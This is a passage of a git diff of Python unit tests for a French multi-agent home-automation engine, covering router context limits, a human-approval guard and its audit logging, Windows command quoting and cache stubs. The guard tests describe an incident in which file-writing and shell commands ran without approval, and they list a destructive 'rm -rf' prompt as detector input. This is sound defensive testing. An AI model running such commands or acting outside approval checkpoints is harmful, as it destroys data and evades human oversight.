routeur.context_loader.get_context_for_categories.return_value = ( + "Profil utilisateur : Axel, domotique multi-agents, projets Tab5/HA/moteur. " + "x" * 9_000 + ) + + payload, agent = await routeur.analyze_request("Bonjour, comment vas-tu ?") + + assert payload.metadata["dominant_category"] == "casual_chat" + assert agent == "executor" # Court-circuit conservé : la latence est LE critère + # Le loader est appelé avec la catégorie légère et le plafond NOMINATIF + routeur.context_loader.get_context_for_categories.assert_called_once_with( + CASUAL_CHAT_CONTEXT_CATEGORIES, max_chars=CASUAL_CHAT_MAX_CONTEXT_CHARS + ) + injecte = _contexte_injecte(routeur) + assert 0 < len(injecte) <= CASUAL_CHAT_MAX_CONTEXT_CHARS + assert "Profil utilisateur" in injecte + assert injecte in payload.relevant_context + + async def test_plafond_respecte_source_enorme(self): + """Même avec une source énorme, le contexte injecté reste ≤ au plafond.""" + routeur = _routeur_mocke() + # Source 25x plus grosse que le plafond : la garantie en dur doit trancher + routeur.context_loader.get_context_for_categories.return_value = "z" * 100_000 + + payload, _agent = await routeur.analyze_request("Salut, tu connais mes projets ?") + + injecte = _contexte_injecte(routeur) + assert len(injecte) <= CASUAL_CHAT_MAX_CONTEXT_CHARS + assert len(injecte) == CASUAL_CHAT_MAX_CONTEXT_CHARS # Tronqué exactement au plafond + assert injecte in payload.relevant_context + + async def test_kill_switch_zero_contexte_vide(self, monkeypatch): + """MOTEUR_CHAT_CONTEXTE_PROJET=0 → aucun contexte, comportement d'avant identique.""" + monkeypatch.setenv("MOTEUR_CHAT_CONTEXTE_PROJET", "0") + routeur = _routeur_mocke() + + payload, _agent = await routeur.analyze_request("Bonjour !") + + # Le loader n'est jamais sollicité et rien n'est injecté + routeur.context_loader.get_context_for_categories.assert_not_called() + assert _contexte_injecte(routeur) == "" + # Métadonnées strictement identiques à l'ancien comportement + assert payload.metadata["context_categories"] == [] + + def test_kill_switch_valeurs(self, monkeypatch): + """Défaut actif ; '0'/'false'/'off' désactivent l'injection.""" + monkeypatch.delenv("MOTEUR_CHAT_CONTEXTE_PROJET", raising=False) + assert contexte_projet_chat_rapide_active() is True + for valeur in ("0", "false", "off"): + monkeypatch.setenv("MOTEUR_CHAT_CONTEXTE_PROJET", valeur) + assert contexte_projet_chat_rapide_active() is False + + async def test_rag_toujours_exclu_du_chat_rapide(self): + """Inchangé : le RAG ne pollue pas le chat rapide (latence).""" + routeur = _routeur_mocke() + + appele = {"nb": 0} + + async def _faux_query(*_args, **_kwargs): + appele["nb"] += 1 + return "résultat RAG" + + routeur.rag_engine = MagicMock() + routeur.rag_engine.query_async = _faux_query + + await routeur.analyze_request("Salut, ça va ?") + + # La garde existante (dominant_category != "casual_chat") reste en place + assert appele["nb"] == 0 + + +class TestContexteChatBoutEnBout: + """Bout-en-bout avec le VRAI ContextLoader : troncature du loader + borne du router.""" + + async def test_contexte_reel_du_loader_borne(self, tmp_path): + # Fabriquer un contexte_ia temporaire avec un fichier "core" énorme + dossier_core = tmp_path / "01_Core" + dossier_core.mkdir(parents=True) + (dossier_core / "rules_global.md").write_text( + "Profil utilisateur d'Axel : domotique, Tab5, Home Assistant, moteur multi-agents.\n" + + "y" * 50_000, + encoding="utf-8", + ) + + routeur = _routeur_mocke() + routeur.context_loader = ContextLoader(contexte_ia_path=str(tmp_path)) + routeur.context_loader.load_all() + + payload, _agent = await routeur.analyze_request("Salut, tu connais mes projets ?") + + injecte = _contexte_injecte(routeur) + assert 0 < len(injecte) <= CASUAL_CHAT_MAX_CONTEXT_CHARS + assert "Profil utilisateur" in injecte + assert injecte in payload.relevant_context + + +class TestMappingContexteInchange: + """Le mapping des AUTRES catégories reste strictement identique.""" + + def test_autres_categories_inchangees(self): + mapping_avant = { + "home_assistant": ["home_assistant"], + "code_generation": ["code_generation"], + "database": ["home_assistant"], + "analysis": ["analysis"], + "files": [], + "sysadmin": [], + "deck_edge": [], + } + for categorie, attendu in mapping_avant.items(): + assert CATEGORY_TO_CONTEXT[categorie] == attendu, f"Mapping modifié pour {categorie}" + # Seule évolution : casual_chat pointe vers le profil utilisateur léger + assert CATEGORY_TO_CONTEXT["casual_chat"] == CASUAL_CHAT_CONTEXT_CATEGORIES == ["core"] diff --git a/tests/unit/test_router_garde_hitl.py b/tests/unit/test_router_garde_hitl.py new file mode 100644 index 0000000..52bd784 --- /dev/null +++ b/tests/unit/test_router_garde_hitl.py @@ -0,0 +1,149 @@ +""" +tests/unit/test_router_garde_hitl.py — Garde HITL sur les court-circuits (#T273). + +Le problème que ces tests verrouillent, mesuré en production le 11/08 : le +Router court-circuitait les catégories `files`/`database`/`sysadmin` droit vers +l'Executor, qui écrivait des fichiers et lançait des commandes shell **sans +jamais croiser le point d'approbation humaine** — celui-ci n'est posé que sur +le chemin DAG (`_check_hitl_before_dag`). Un simple « écris le fichier … » a +produit `run_terminal_command : echo … > …` avec zéro demande d'approbation. + +Règle posée : une requête qui demande d'AGIR repart vers le Planner (donc vers +un plan approuvable) ; une requête qui LIT garde le raccourci rapide. +""" + +import pytest + +from core.router import Router, requete_demande_une_action + + +@pytest.fixture +def routeur(): + """Router nu : seule la couche de résolution d'agent est exercée.""" + return Router() + + +# ── Détection d'action ─────────────────────────────────────────────────────── + +@pytest.mark.parametrize("prompt", [ + "Ecris le fichier /tmp/preuve.txt avec la ligne OK", # le cas réel du 11/08 + "écris le fichier /tmp/preuve.txt", # avec accents + "Supprime les logs de la semaine dernière", + "Crée un dossier de sauvegarde", + "Exécute la commande de nettoyage", + "Lance le script de déploiement", + "modifie la configuration du serveur", + "rm -rf le dossier temporaire", +]) +def test_actions_detectees(prompt): + assert requete_demande_une_action(prompt) is True + + +@pytest.mark.parametrize("prompt", [ + "Lis le fichier de configuration et résume-le", + "Affiche les 10 dernières lignes du journal", + "Combien de fichiers dans ce dossier ?", + "Cherche la définition de la classe Router", +]) +def test_lectures_non_detectees(prompt): + assert requete_demande_une_action(prompt) is False + + +# ── Résolution d'agent ─────────────────────────────────────────────────────── + +@pytest.mark.parametrize("categorie", ["files", "database", "sysadmin"]) +def test_action_ne_court_circuite_plus(routeur, categorie): + """Une action part au Planner : c'est le seul chemin qui passe par le HITL.""" + agent, routing_type, _tier, meta = routeur._resolve_target_agent( + "Ecris le fichier /tmp/preuve.txt avec la ligne OK", categorie, is_complex=False + ) + assert agent == "planner" + assert routing_type == "planner_pour_approbation" + assert meta["hitl_garde_routage"] is True + + +@pytest.mark.parametrize("categorie,routing_attendu", [ + ("files", "executor_direct"), + ("database", "executor_direct"), + ("sysadmin", "sysadmin_direct"), +]) +def test_lecture_garde_le_raccourci(routeur, categorie, routing_attendu): + """La lecture ne peut rien casser : elle conserve le chemin rapide.""" + agent, routing_type, _tier, _meta = routeur._resolve_target_agent( + "Lis le fichier de configuration et résume-le", categorie, is_complex=False + ) + assert agent == "executor" + assert routing_type == routing_attendu + + +def test_kill_switch_restaure_le_raccourci(routeur, monkeypatch): + """`MOTEUR_ROUTER_GARDE_HITL=0` rend le comportement d'avant #T273.""" + monkeypatch.setenv("MOTEUR_ROUTER_GARDE_HITL", "0") + agent, routing_type, _tier, _meta = routeur._resolve_target_agent( + "Ecris le fichier /tmp/preuve.txt", "files", is_complex=False + ) + assert agent == "executor" + assert routing_type == "executor_direct" + + +def test_categories_non_concernees_intactes(routeur): + """Le vocal et la domotique ne sont pas touchés : leur latence est critique.""" + agent, routing_type, tier, _meta = routeur._resolve_target_agent( + "Raconte-moi une blague", "casual_chat", is_complex=False + ) + assert (agent, routing_type, tier) == ("executor", "casual_chat", "leger") + + +def test_requete_complexe_va_toujours_au_planner(routeur): + """Inchangé : une requête complexe ne court-circuite jamais.""" + agent, routing_type, _tier, _meta = routeur._resolve_target_agent( + "Lis les fichiers", "files", is_complex=True + ) + assert agent == "planner" + assert routing_type == "default" + + +# ── Trace d'audit des outils à risque ──────────────────────────────────────── + +@pytest.mark.asyncio +async def test_outil_a_risque_journalise(caplog): + """ + Chaque exécution d'outil à risque laisse une trace greppable. + + Sans elle, impossible de mesurer ce qui s'exécute encore hors approbation — + et donc impossible de savoir quand la surface est réellement couverte. + """ + import logging + + from tools.tool_registry import OUTILS_A_RISQUE, ToolRegistry + + def _faux_terminal(commande: str = "") -> str: + return "ok" + + registry = ToolRegistry() + registry.register("run_terminal_command", _faux_terminal, "Faux outil de test") + + assert "run_terminal_command" in OUTILS_A_RISQUE + with caplog.at_level(logging.INFO, logger="tools.tool_registry"): + await registry.execute("run_terminal_command", {"commande": "echo test"}) + + assert any("[T273-AUDIT]" in m and "run_terminal_command" in m for m in caplog.messages) + + +@pytest.mark.asyncio +async def test_outil_sans_risque_non_journalise(caplog): + """Pas de bruit sur les outils de lecture — un journal saturé est un journal ignoré.""" + import logging + + from tools.tool_registry import ToolRegistry + + def _faux_lecture(chemin: str = "") -> str: + return "contenu" + + registry = ToolRegistry() + registry.register("read_file", _faux_lecture, "Faux outil de test") + + with caplog.at_level(logging.INFO, logger="tools.tool_registry"): + await registry.execute("read_file", {"chemin": "fichier_inexistant.txt"}) + + assert not any("[T273-AUDIT]" in m for m in caplog.messages) diff --git a/tests/unit/test_router_layers.py b/tests/unit/test_router_layers.py index ba142ff..5968041 100644 --- a/tests/unit/test_router_layers.py +++ b/tests/unit/test_router_layers.py @@ -20,7 +20,7 @@ def _router(): "analysis": {"keywords": ["audit"], "weight": 1.2}, } r._ha_commands = [ - {"service": "light.turn_on", "entity_id": "light.salon", "phrases": ["allume la lumiere"]}, + {"service": "light.turn_on", "entity_id": "light.living_room", "phrases": ["allume la lumiere"]}, ] return r diff --git a/tests/unit/test_router_llm.py b/tests/unit/test_router_llm.py index df6798d..49846ab 100644 --- a/tests/unit/test_router_llm.py +++ b/tests/unit/test_router_llm.py @@ -8,8 +8,8 @@ - Le routeur fonctionne sans gateway (mode dégradé) """ -import sys import os +import sys from unittest.mock import MagicMock sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) @@ -26,16 +26,16 @@ def _make_router_with_llm(self, llm_response: dict): router.default_agent = "planner" router.rag_engine = None router.config = {} - + # Mock du gateway LLM mock_provider = MagicMock() del mock_provider.generate_structured_async mock_provider.generate_structured.return_value = llm_response - + mock_gateway = MagicMock() mock_gateway.get_provider_for_tier.return_value = ("mock-local", mock_provider) router.llm_gateway = mock_gateway - + # Mock du ContextLoader et mémoires router.context_loader = MagicMock() router.context_loader.load_all.return_value = None @@ -47,7 +47,7 @@ def _make_router_with_llm(self, llm_response: dict): router.fact_store = MagicMock() del router.fact_store.get_facts_for_context_async router.fact_store.get_facts_for_context.return_value = "" - + # Catégories standard router.categories = { "casual_chat": {"keywords": ["bonjour", "salut"], "weight": 1.0}, @@ -67,7 +67,7 @@ async def test_llm_classify_high_confidence(self): "target_agent": "ha_agent", "confidence": 0.92, }) - + # Prompt sans aucun mot-clé reconnu → déclenche le slow path payload, agent = await router.analyze_request("mets le chauffage à 22 degrés") # Le LLM devrait classifier en home_assistant @@ -81,9 +81,9 @@ async def test_llm_classify_low_confidence_fallback(self): "target_agent": "executor", "confidence": 0.3, # En dessous du seuil MIN_LLM_CONFIDENCE }) - + payload, agent = await router.analyze_request("fais quelque chose avec le machin") - # Confiance insuffisante → default agent (planner) + # Confiance insuffisante → default agent (planner) assert agent == "planner" async def test_llm_classify_invalid_category(self): @@ -94,7 +94,7 @@ async def test_llm_classify_invalid_category(self): "target_agent": "executor", "confidence": 0.95, }) - + payload, agent = await router.analyze_request("truc bizarre que personne ne dit") # Catégorie inconnue → défaut vers le planner assert agent == "planner" @@ -106,7 +106,7 @@ async def test_no_llm_gateway_degrades_gracefully(self): router.rag_engine = None router.llm_gateway = None # Pas de gateway router.config = {} - + router.context_loader = MagicMock() router.context_loader.load_all.return_value = None router.context_loader.reload_if_stale.return_value = None @@ -123,7 +123,7 @@ async def test_no_llm_gateway_degrades_gracefully(self): "files": {"keywords": ["fichier"], "weight": 1.0}, "analysis": {"keywords": ["analyse"], "weight": 1.2}, } - + # Requête sans match → pas de crash, défaut vers planner payload, agent = await router.analyze_request("xyz totalement inconnu") assert agent == "planner" @@ -131,10 +131,10 @@ async def test_no_llm_gateway_degrades_gracefully(self): async def test_llm_exception_does_not_crash(self): """Si l'appel LLM lève une exception, le routeur continue sans crash.""" router = self._make_router_with_llm({}) # Réponse vide - + # Forcer une exception dans le gateway router.llm_gateway.get_provider_for_tier.side_effect = Exception("Timeout LLM") - + # Ne doit pas crash payload, agent = await router.analyze_request("quelque chose d'ambigu") assert agent == "planner" # Fallback vers défaut @@ -147,7 +147,7 @@ async def test_fast_path_skips_llm(self): "complexity": "complex", "target_agent": "planner", }) - + # "Bonjour" matche casual_chat → fast path, pas de LLM payload, agent = await router.analyze_request("Bonjour") assert payload.metadata["dominant_category"] == "casual_chat" diff --git a/tests/unit/test_run_cli_command_windows.py b/tests/unit/test_run_cli_command_windows.py new file mode 100644 index 0000000..c0795b0 --- /dev/null +++ b/tests/unit/test_run_cli_command_windows.py @@ -0,0 +1,117 @@ +""" +tests/unit/test_run_cli_command_windows.py — Quoting Windows de run_cli_command (#T292). + +`run_cli_command()` enveloppe les `.cmd`/`.bat` Windows dans `cmd /c` (CreateProcess +ne sait pas lancer un `.cmd` directement). Mais `subprocess.list2cmdline` met des +guillemets autour de CHAQUE argument contenant un espace, et `cmd.exe` applique sa +règle documentée : quand la ligne qui suit `/c` commence ET finit par un guillemet, +il retire cette paire extérieure. Le chemin de l'exécutable perd donc ses guillemets +et se coupe à son premier espace. + +Ces tests verrouillent la forme correcte : une paire de guillemets SUPPLÉMENTAIRE +autour de la ligne entière (`cmd /c ""C:\\chemin avec espace\\x.cmd" arg1 "arg 2""`), +sans jamais réintroduire `shell=True` (garde-fou P0-1.3). +""" + +import subprocess +import sys + +import pytest + +from core.llm.providers import base as base_module +from core.llm.providers.base import run_cli_command + + +@pytest.mark.skipif(sys.platform != "win32", reason="spécifique à cmd.exe (Windows)") +def test_cmd_chemin_et_dernier_argument_avec_espaces(tmp_path): + """Un .cmd dans un dossier à espace + dernier argument à espaces -> code 0. + + Reproduit le symptôme de campagne : le prompt passé à la CLI contient + toujours des espaces, ce qui faisait disjoncter les circuit breakers. + """ + bin_dir = tmp_path / "Dossier Avec Espace" / "bin" + bin_dir.mkdir(parents=True) + faux_cmd = bin_dir / "faux.cmd" + faux_cmd.write_text( + "@echo off\r\necho REPRO_OK: %*\r\nexit /b 0\r\n", + encoding="utf-8", + ) + + resultat = run_cli_command( + [str(faux_cmd), "un argument avec espaces"], + capture_output=True, + text=True, + ) + assert resultat.returncode == 0, f"stderr: {resultat.stderr}" + assert "REPRO_OK" in resultat.stdout + + +@pytest.mark.skipif(sys.platform != "win32", reason="spécifique à cmd.exe (Windows)") +def test_cmd_chemin_avec_espaces_argument_sans_espace(tmp_path): + """Sans espace dans le dernier argument : comportement historique conservé.""" + bin_dir = tmp_path / "Dossier Avec Espace" / "bin" + bin_dir.mkdir(parents=True) + faux_cmd = bin_dir / "faux.cmd" + faux_cmd.write_text( + "@echo off\r\necho REPRO_OK\r\nexit /b 0\r\n", + encoding="utf-8", + ) + + resultat = run_cli_command( + [str(faux_cmd), "argument"], + capture_output=True, + text=True, + ) + assert resultat.returncode == 0, f"stderr: {resultat.stderr}" + assert "REPRO_OK" in resultat.stdout + + +def test_forme_cmd_c_avec_paire_de_guillemets_externe(monkeypatch): + """La ligne après /c = list2cmdline encadrée d'une paire de guillemets. + + Portable (CI Linux comprise) : subprocess.run est simulé, sys.platform forcé. + `shutil.which` est neutralisé : sur POSIX il plante sur un chemin + Windows-like (shutil._win_path_needs_curdir appelle _winapi, absent) — et + ce test ne vérifie que la CONSTRUCTION de la ligne, pas la résolution. + """ + monkeypatch.setattr(sys, "platform", "win32") + monkeypatch.setattr(base_module.shutil, "which", lambda *a, **k: None) + appels = [] + + def faux_run(argv, **kwargs): + appels.append((argv, kwargs)) + return subprocess.CompletedProcess(argv, 0) + + monkeypatch.setattr(base_module.subprocess, "run", faux_run) + + chemin = r"C:\Program Files\Dossier Avec Espace\bin\faux.cmd" + run_cli_command([chemin, "arg1", "un argument avec espaces"]) + + assert appels, "subprocess.run n'a pas été appelé" + argv, kwargs = appels[0] + attendu = subprocess.list2cmdline([chemin, "arg1", "un argument avec espaces"]) + assert argv == f'cmd /c "{attendu}"', f"ligne mal encadrée : {argv!r}" + assert kwargs.get("executable"), "cmd.exe doit être passé via executable (pas de shell)" + assert kwargs.get("shell") is False, "shell=False (P0-1.3) doit être conservé" + + +def test_posix_ne_construit_pas_cmd_c(monkeypatch): + """Sous POSIX, aucun cmd /c : argv transmis tel quel, shell=False.""" + monkeypatch.setattr(sys, "platform", "linux") + appels = [] + + def faux_run(argv, **kwargs): + appels.append((argv, kwargs)) + return subprocess.CompletedProcess(argv, 0) + + monkeypatch.setattr(base_module.subprocess, "run", faux_run) + + chemin = "/opt/dossier avec espace/bin/faux" + run_cli_command([chemin, "un argument avec espaces"]) + + assert appels, "subprocess.run n'a pas été appelé" + argv, kwargs = appels[0] + assert "cmd" not in argv and "/c" not in argv, f"cmd /c ne doit pas apparaître : {argv}" + assert argv[0] == chemin + assert argv[1] == "un argument avec espaces" + assert kwargs.get("shell") is False, "shell=False (P0-1.3) doit être conservé" diff --git a/tests/unit/test_seed_routing_rules_dashscope.py b/tests/unit/test_seed_routing_rules_dashscope.py new file mode 100644 index 0000000..1825aca --- /dev/null +++ b/tests/unit/test_seed_routing_rules_dashscope.py @@ -0,0 +1,100 @@ +""" +tests/unit/test_seed_routing_rules_dashscope.py — Règles de routage DashScope (#T247). + +La table `routing_rules` est consultative : elle alimente uniquement les outils de +recommandation `get_routing_recommendation` / `get_routing_matrix` de +`core/mcp_tools/orchestrator.py`, pas le routage runtime (qui passe par les tiers +leger/moyen/fort de `core/llm_gateway.py`). + +Ces tests vérifient que `seed_routing_rules()` expose bien des recommandations vers +le forfait DashScope Coding Plan (~¥40/mois amorti, quota 4 req/min et ~600/jour), +et qu'aucune règle ne pointe vers un modèle absent du catalogue (pas de règle +orpheline, `PRAGMA foreign_key_check` propre). +""" + +import os +import sqlite3 +import sys +import threading + +import pytest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) + +import core.models_db as models_db +import seed_models_db + + +@pytest.fixture +def base_peuplee(tmp_path, monkeypatch): + """Catalogue neuf et isolé, peuplé comme le seed (jamais la base du poste). + + Les connexions SQLite de core.models_db sont mises en cache par thread + (_thread_local.conn) : remplacer _thread_local par une nouvelle instance force + tous les threads à rouvrir une connexion contre le nouveau chemin patché. + """ + chemin = str(tmp_path / "models_registry.db") + monkeypatch.setattr(models_db, "_DB_PATH", chemin) + monkeypatch.setattr(models_db, "_thread_local", threading.local()) + seed_models_db.seed_providers() + seed_models_db.seed_models() + seed_models_db.seed_routing_rules() + return chemin + + +def _regles_dashscope(chemin): + """Retourne les règles de routage pointant vers un modèle dashscope/*.""" + conn = sqlite3.connect(chemin) + conn.row_factory = sqlite3.Row + lignes = conn.execute( + "SELECT * FROM routing_rules WHERE recommended_model LIKE 'dashscope/%'" + ).fetchall() + conn.close() + return [dict(ligne) for ligne in lignes] + + +class TestReglesDashScope: + """Le seed expose des recommandations vers le forfait DashScope Coding Plan.""" + + def test_au_moins_une_regle_dashscope(self, base_peuplee): + """Au moins une règle pointe vers un modèle du forfait DashScope.""" + regles = _regles_dashscope(base_peuplee) + assert len(regles) >= 1, "aucune règle de routage vers dashscope/*" + + def test_couverture_code_et_agentique(self, base_peuplee): + """Les types de tâche code et agentique sont couverts.""" + types = {r["task_type"] for r in _regles_dashscope(base_peuplee)} + for attendu in ("code_generation", "code_complexe", "code_revision", "refactoring", "agentique"): + assert attendu in types, f"règle {attendu} manquante pour dashscope/*" + + def test_regles_dashscope_non_orphelines(self, base_peuplee): + """Chaque modèle recommandé dashscope/* existe dans la table models.""" + conn = sqlite3.connect(base_peuplee) + for r in _regles_dashscope(base_peuplee): + modele = conn.execute( + "SELECT id FROM models WHERE id = ?", (r["recommended_model"],) + ).fetchone() + assert modele is not None, ( + f"règle {r['task_type']} → {r['recommended_model']} orpheline (modèle absent du catalogue)" + ) + assert r["provider_id"] == "dashscope", ( + f"règle {r['task_type']} : provider_id {r['provider_id']} incohérent" + ) + conn.close() + + def test_foreign_key_check_propre(self, base_peuplee): + """Aucune violation de clé étrangère après le seed complet.""" + conn = sqlite3.connect(base_peuplee) + violations = conn.execute("PRAGMA foreign_key_check").fetchall() + conn.close() + assert violations == [], f"violations de clé étrangère : {violations}" + + def test_regles_existantes_inchangees(self, base_peuplee): + """Les règles préexistantes ne sont pas écrasées par les ajouts DashScope.""" + conn = sqlite3.connect(base_peuplee) + conn.row_factory = sqlite3.Row + architecture = dict(conn.execute( + "SELECT * FROM routing_rules WHERE task_type = 'architecture'" + ).fetchone()) + conn.close() + assert architecture["recommended_model"] == "claude-opus-4-8" diff --git a/tests/unit/test_semantic_cache.py b/tests/unit/test_semantic_cache.py index 2b31b99..629066e 100644 --- a/tests/unit/test_semantic_cache.py +++ b/tests/unit/test_semantic_cache.py @@ -1,21 +1,79 @@ -# -*- coding: utf-8 -*- """Tests du cache sémantique LLM (Phase 3, item 17).""" import pytest -from core.semantic_cache import SemanticCache, _prompt_id, CHROMA_AVAILABLE +from core.semantic_cache import CHROMA_AVAILABLE, SemanticCache, _prompt_id pytestmark = pytest.mark.skipif(not CHROMA_AVAILABLE, reason="chromadb non installé") +class _HashEmbedding: + """Embedding 100% local et déterministe : remplace l'ONNX par défaut de chromadb, + qui télécharge son modèle depuis S3 au premier usage (réseau externe interdit par + le garde-fou de tests/unit/conftest.py — voir #T261). + + Vecteur one-hot indexé par le hash du texte (cosine) : deux textes identiques → + similarité 1, deux textes distincts → 0. Suffisant pour tester la logique de + similarité du cache sans dépendre d'un cache modèle local ni du réseau. + """ + + # Contrat du protocole chromadb EmbeddingFunction (1.5.x) : `name` est une + # méthode, appelée lors de la (dé)sérialisation de la config de collection. + @staticmethod + def name() -> str: + return "hash-embedding-local" + + def default_space(self) -> str: + return "cosine" + + def supported_spaces(self) -> list[str]: + return ["cosine", "l2", "ip"] + + def __call__(self, input): + import hashlib + + texts = [input] if isinstance(input, str) else list(input) + vecs = [] + for text in texts: + idx = int.from_bytes(hashlib.sha256(text.encode("utf-8")).digest()[:2], "big") % 65536 + vec = [0.0] * 65536 + vec[idx] = 1.0 + vecs.append(vec) + return vecs + + def embed_query(self, input): + # chromadb 1.5.x appelle embed_query() pour les query_texts. + return self.__call__(input) + + def is_legacy(self) -> bool: + return False + + def get_config(self): + return {} + + @classmethod + def build_from_config(cls, config): + return cls() + + def validate_config_update(self, old_config, new_config): + pass + + def _cache(threshold=0.95): - import chromadb, uuid + import uuid + + import chromadb + from chromadb.config import Settings + # Client éphémère + collection UNIQUE par test (EphemeralClient est partagé # dans le process → sans nom unique les tests se contamineraient). + # Télémetrie coupée + embedding local : sans cela, le DefaultEmbeddingFunction + # ONNX de chromadb télécharge son modèle depuis S3 au premier usage. return SemanticCache( - client=chromadb.EphemeralClient(), + client=chromadb.EphemeralClient(settings=Settings(anonymized_telemetry=False)), collection_name=f"test_cache_{uuid.uuid4().hex}", similarity_threshold=threshold, + embedding_function=_HashEmbedding(), ) @@ -73,8 +131,8 @@ def generate(self, system_prompt, user_prompt, **kwargs): def test_fallback_provider_uses_semantic_cache(monkeypatch): """2ᵉ appel identique → servi par le cache, le provider n'est PAS rappelé.""" - from core.llm.providers.deepseek import FallbackProvider import core.semantic_cache as sc_mod + from core.llm.providers.deepseek import FallbackProvider c = _cache() monkeypatch.setattr(sc_mod, "get_semantic_cache", lambda: c) @@ -91,8 +149,8 @@ def test_fallback_provider_uses_semantic_cache(monkeypatch): def test_fallback_provider_opt_out(monkeypatch): """use_semantic_cache=False → le cache est court-circuité, provider rappelé.""" - from core.llm.providers.deepseek import FallbackProvider import core.semantic_cache as sc_mod + from core.llm.providers.deepseek import FallbackProvider c = _cache() monkeypatch.setattr(sc_mod, "get_semantic_cache", lambda: c) diff --git a/tests/unit/test_sqlite_concurrency.py b/tests/unit/test_sqlite_concurrency.py index 68df3a4..2272fe3 100644 --- a/tests/unit/test_sqlite_concurrency.py +++ b/tests/unit/test_sqlite_concurrency.py @@ -14,11 +14,11 @@ import tempfile import threading import time + import pytest -from core.models_db import upsert_model, upsert_provider import core.models_db as models_db - +from core.models_db import upsert_model, upsert_provider # ─── 1. Test historique : models_registry.db ───────────────────────────────── diff --git a/tests/unit/test_ssti_wiring_guard.py b/tests/unit/test_ssti_wiring_guard.py index 6a58f9c..e162ceb 100644 --- a/tests/unit/test_ssti_wiring_guard.py +++ b/tests/unit/test_ssti_wiring_guard.py @@ -1,4 +1,3 @@ -# -*- coding: utf-8 -*- """ Garde-fou de câblage : les frontières Home Assistant doivent appeler `validate_service_data` (protection anti-SSTI) sur le service_data entrant. diff --git a/tests/unit/test_state.py b/tests/unit/test_state.py index aedc5ca..d129e48 100644 --- a/tests/unit/test_state.py +++ b/tests/unit/test_state.py @@ -8,16 +8,14 @@ - La compatibilité rétroactive (champs optionnels) """ -import sys import os +import sys + import pytest sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) -from core.state import ( - TaskPayload, StateUpdate, GlobalState, - ExecutionPhase, TaskStatus, WorkflowMetadata -) +from core.state import ExecutionPhase, GlobalState, StateUpdate, TaskPayload, TaskStatus, WorkflowMetadata class TestTaskPayload: @@ -60,7 +58,7 @@ def test_serialisation_json_roundtrip(self): ) json_str = original.model_dump_json() restored = TaskPayload.model_validate_json(json_str) - + assert restored.task_objective == original.task_objective assert restored.metadata == original.metadata assert restored.task_id == original.task_id @@ -153,10 +151,10 @@ def test_serialisation_json_roundtrip(self): status="success", result_data="Plan OK" )) - + json_str = state.model_dump_json() restored = GlobalState.model_validate_json(json_str) - + assert restored.session_id == "roundtrip_001" assert restored.current_phase == ExecutionPhase.EXECUTING assert len(restored.history) == 1 diff --git a/tests/unit/test_t295_dag_context_accumulation.py b/tests/unit/test_t295_dag_context_accumulation.py new file mode 100644 index 0000000..0331d4f --- /dev/null +++ b/tests/unit/test_t295_dag_context_accumulation.py @@ -0,0 +1,182 @@ +""" +tests/unit/test_t295_dag_context_accumulation.py + +Test de mesure et de régression (#T295) : +Vérifie qu'à chaque rejeu de Self-Healing d'une tâche DAG : +1. Son `relevant_context` ne s'accumule pas au fil des tentatives (stabilité stricte par rapport au 1er passage). +2. Un plafond global de 40 000 caractères est appliqué sur la somme des agrégations (dépendances + mémoire). +""" + +import asyncio +import logging +import os +import sys +from unittest.mock import AsyncMock, patch + +import pytest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) + +from core.dag_runner import TOTAL_CONTEXT_MAX_CHARS, DAGRunner +from core.state import GlobalState, StateUpdate, TaskPayload + + +class MockFailingThenSucceedingAgent: + """ + Agent mocké (100% factice, aucun LLM réel / aucun réseau / aucun jeton) + qui enregistre la taille de task_payload.relevant_context à chaque tentative. + """ + + def __init__(self, name: str, fail_count: int = 3): + self.name = name + self.fail_count = fail_count + self.attempts = 0 + self.recorded_context_lengths = [] + + async def invoke(self, payload: TaskPayload) -> StateUpdate: + self.attempts += 1 + current_len = len(payload.relevant_context or "") + self.recorded_context_lengths.append(current_len) + + if self.attempts <= self.fail_count: + return StateUpdate( + agent_name=self.name, + status="error", + result_data=None, + error_message=f"Échec simulé tentative {self.attempts}", + metadata={"task_id": payload.task_id} + ) + return StateUpdate( + agent_name=self.name, + status="success", + result_data="Succès final", + metadata={"task_id": payload.task_id} + ) + + +class MockEngine: + def __init__(self): + self.state = GlobalState(session_id="test_t295_session") + self._history_lock = asyncio.Lock() + self.on_event = None + self.context_manager = None + self.agents = {} + self._repo_root = None + + async def _validate_modified_yamls(self): + return None + + +@pytest.mark.asyncio +async def test_t295_context_accumulation_on_retry(): + """ + Mesure et valide que la taille de `relevant_context` lors des rejeux d'une tâche + est 100% stable et ne s'accumule plus à chaque tentative. + """ + engine = MockEngine() + runner = DAGRunner(engine) + + # 1. Tâche parent avec un résultat volumineux (10 000 chars) + parent_agent = MockFailingThenSucceedingAgent("parent_agent", fail_count=0) + async def parent_invoke(payload): + return StateUpdate( + agent_name="parent_agent", + status="success", + result_data="A" * 10000, + metadata={"task_id": "parent_task"} + ) + parent_agent.invoke = parent_invoke + engine.agents["parent_agent"] = parent_agent + + parent_payload = TaskPayload( + task_id="parent_task", + task_objective="Générer du code", + relevant_context="Contexte d'origine parent", + metadata={"stage_id": 1, "target_agent": "parent_agent"} + ) + + # 2. Tâche enfant qui dépend de parent_task et va échouer 3 fois avant de réussir + child_payload = TaskPayload( + task_id="child_task", + task_objective="Analyser le code parent", + relevant_context="Contexte initial enfant", + depends_on=["parent_task"], + metadata={"stage_id": 2, "target_agent": "child_agent"} + ) + child_agent = MockFailingThenSucceedingAgent("child_agent", fail_count=3) + engine.agents["child_agent"] = child_agent + + with patch.object(runner._healer, "attempt_healing", new_callable=AsyncMock) as mock_healing: + mock_healing.return_value = True + tasks = [parent_payload, child_payload] + _, success = await runner.execute_dag(tasks, max_session_tokens=100000) + + print("\n--- MEASUREMENT T295 APRES FIX: tentative -> taille du contexte ---") + for i, length in enumerate(child_agent.recorded_context_lengths, 1): + print(f"Tentative {i} : {length} caractères") + + # Vérification de stabilité stricte : la taille doit être strictement identique d'une tentative à l'autre + initial_length = child_agent.recorded_context_lengths[0] + for idx, length in enumerate(child_agent.recorded_context_lengths, 1): + assert length == initial_length, ( + f"Dérive détectée à la tentative {idx} : {length} chars vs initial {initial_length} chars !" + ) + + +@pytest.mark.asyncio +async def test_t295_global_context_cap(caplog): + """ + Vérifie qu'en cas de 